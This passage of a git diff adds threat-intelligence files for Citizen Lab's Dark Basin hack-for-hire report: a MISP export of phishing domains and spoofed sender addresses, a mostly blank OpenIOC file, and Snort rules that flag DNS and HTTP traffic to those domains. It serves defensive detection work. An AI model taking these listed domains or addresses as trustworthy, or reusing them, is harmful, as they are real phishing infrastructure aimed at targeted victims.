"to_ids": true, + "uuid": "5ede974a-6918-4c89-bc38-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pageserverru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18930", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1390-41f2-9eef-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "registrationonlineeurope.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "registrationonlineeurope.com" + } + } + ] + }, + { + "id": "18675", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-a360-40c5-bf27-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverhello54.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18931", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7d38-4846-9698-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tineeurl.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18676", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-a4a0-4395-876d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "smtpserver466.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18932", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3010-4cee-95ae-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secureserverasia.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "secureserverasia.com" + } + } + ] + }, + { + "id": "18677", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-d330-4e5c-a1e1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserver39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18933", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-eaf8-406b-ac11-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secureservereurope.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "secureservereurope.com" + } + } + ] + }, + { + "id": "18678", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-91e4-4488-bb36-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linksrtnr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18934", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-806c-42c6-b2f9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverasiasap.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverasiasap.com" + } + } + ] + }, + { + "id": "18679", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e7e8-4cc0-ba44-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netmapservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18935", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ae2c-4309-a967-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailservereurope.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "mailservereurope.com" + } + } + ] + }, + { + "id": "18680", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7358-473b-9cfd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "imapserverholland.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18936", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1900-4c7a-9a95-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverloadbalance.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverloadbalance.com" + } + } + ] + }, + { + "id": "18681", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b358-4799-b811-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserveronline9.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18937", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3c58-49a5-91d9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "frwrdrwr.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "frwrdrwr.com" + } + } + ] + }, + { + "id": "18682", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-63fc-491f-b39b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "getemailopens.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18938", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6b04-446d-83a0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "localserversa.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "localserversa.com" + } + } + ] + }, + { + "id": "18683", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-3a84-4dc8-9919-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msrvrgeh.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18939", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d060-40eb-9e73-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverdemoservice.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "serverdemoservice.com" + } + } + ] + }, + { + "id": "18684", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0d88-4db6-8d5d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msrvrgh.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18940", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-dab8-4408-8afd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fastserverasia.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "fastserverasia.com" + } + } + ] + }, + { + "id": "18685", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-caac-4790-9459-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailserverholland.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18941", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-844c-45a5-8ab8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fastservereurope.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "fastservereurope.com" + } + } + ] + }, + { + "id": "18686", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-f210-4037-8741-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailserverhk48.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18942", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d620-4c77-b6c0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fastserveruk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "fastserveruk.com" + } + } + ] + }, + { + "id": "18687", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8504-4659-bfd7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserverredirect99.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18943", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3028-4600-82af-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "fastserverusa.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "fastserverusa.com" + } + } + ] + }, + { + "id": "19039", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-4efc-4e42-afa5-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "n0replyupdatesnotificationskj9@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19040", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-6950-4509-9af0-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "n0replyn0tificati0nupdatemail@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "n0replyn0tificati0nupdatemail@gmail.com" + } + } + ] + }, + { + "id": "19041", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-89ec-4587-a2d4-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "n0reply.notificationexsasuve@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "n0reply.notificationexsasuve@gmail.com" + } + } + ] + }, + { + "id": "19042", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-e864-4084-a3bb-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "noreply.535466586you6585tubadh@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "noreply.535466586you6585tubadh@gmail.com" + } + } + ] + }, + { + "id": "19043", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-409c-44b3-8207-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "no.reply.n0tification.alsdkch@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "no.reply.n0tification.alsdkch@gmail.com" + } + } + ] + }, + { + "id": "19044", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-2e0c-42e1-9cdb-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "noreply.notifications.gkejkdgj@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "noreply.notifications.gkejkdgj@gmail.com" + } + } + ] + }, + { + "id": "19045", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-81f8-4221-8637-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "noreplynotification.updates@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "noreplynotification.updates@gmail.com" + } + } + ] + }, + { + "id": "19046", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-9808-43ba-8d46-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "no.reply.updates.asdfaffgh78jg@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "no.reply.updates.asdfaffgh78jg@gmail.com" + } + } + ] + }, + { + "id": "19047", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-3820-4868-ad30-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "scorpiobond4@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "scorpiobond4@gmail.com" + } + } + ] + }, + { + "id": "19048", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-681c-4f01-9706-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sophia.1johnson@mail.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "sophia.1johnson@mail.com" + } + } + ] + }, + { + "id": "19049", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5ede97f5-1448-4d36-a35e-7e298064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646197", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "noreply.mailingservice.3kdj9e9@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + } + ], + "ShadowAttribute": [], + "RelatedEvent": [ + { + "Event": { + "id": "111", + "date": "2017-09-27", + "threat_level_id": "2", + "info": "Phish For the Future", + "published": true, + "uuid": "59cd41fa-8b60-4ea2-bef4-1f678e96ca05", + "analysis": "2", + "timestamp": "1506624518", + "distribution": "1", + "org_id": "2", + "orgc_id": "2" + }, + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + } + } + ], + "Tag": [ + { + "id": "7", + "name": "DETECT", + "colour": "#cccccc", + "exportable": true, + "org_id": false + }, + { + "id": "5", + "name": "SOURCE:CITIZENLAB", + "colour": "#ffad0d", + "exportable": true, + "org_id": false + } + ] + } +}]} \ No newline at end of file diff --git a/data/ioc/spyware/citizen_lab/202006_DarkBasin/openioc.ioc b/data/ioc/spyware/citizen_lab/202006_DarkBasin/openioc.ioc new file mode 100644 index 0000000..a26f7aa --- /dev/null +++ b/data/ioc/spyware/citizen_lab/202006_DarkBasin/openioc.ioc @@ -0,0 +1,1861 @@ + + + Event #147 + Dark Basin + + citizenlab + 2020-06-08T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/202006_DarkBasin/snort.rules b/data/ioc/spyware/citizen_lab/202006_DarkBasin/snort.rules new file mode 100644 index 0000000..5a03712 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/202006_DarkBasin/snort.rules @@ -0,0 +1,1399 @@ +#This part might still contain bugs, use and your own risk and report any issues. +# +# MISP export of IDS rules - optimized for snort +# +# These NIDS rules contain some variables that need to exist in your configuration. +# Make sure you have set: +# +# $HOME_NET - Your internal network range +# $EXTERNAL_NET - The network considered as outside +# $SMTP_SERVERS - All your internal SMTP servers +# $HTTP_PORTS - The ports used to contain HTTP traffic (not required with suricata export) +# +alert udp any any -> any 53 (msg: "Dark Basin Domain: 2mblk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|2mblk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353841; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: 2mblk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|2mblk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353842; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: 2mblk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"2mblk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])2mblk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353843; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: 4mblk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|4mblk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353691; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: 4mblk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|4mblk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353692; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: 4mblk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"4mblk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])4mblk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353693; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovangels.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|ablyazovangels|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353321; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovangels.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|ablyazovangels|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353322; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovangels.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovangels.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovangels\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353323; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcog.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|ablyazovcog|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353231; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcog.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|ablyazovcog|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353232; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovcog.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovcog.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovcog\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353233; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcrimestory.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|ablyazovcrimestory|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353271; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcrimestory.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|ablyazovcrimestory|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353272; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovcrimestory.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovcrimestory.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovcrimestory\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353273; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcrimesyndicate.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|ablyazovcrimesyndicate|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353291; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcrimesyndicate.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|ablyazovcrimesyndicate|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353292; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovcrimesyndicate.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; 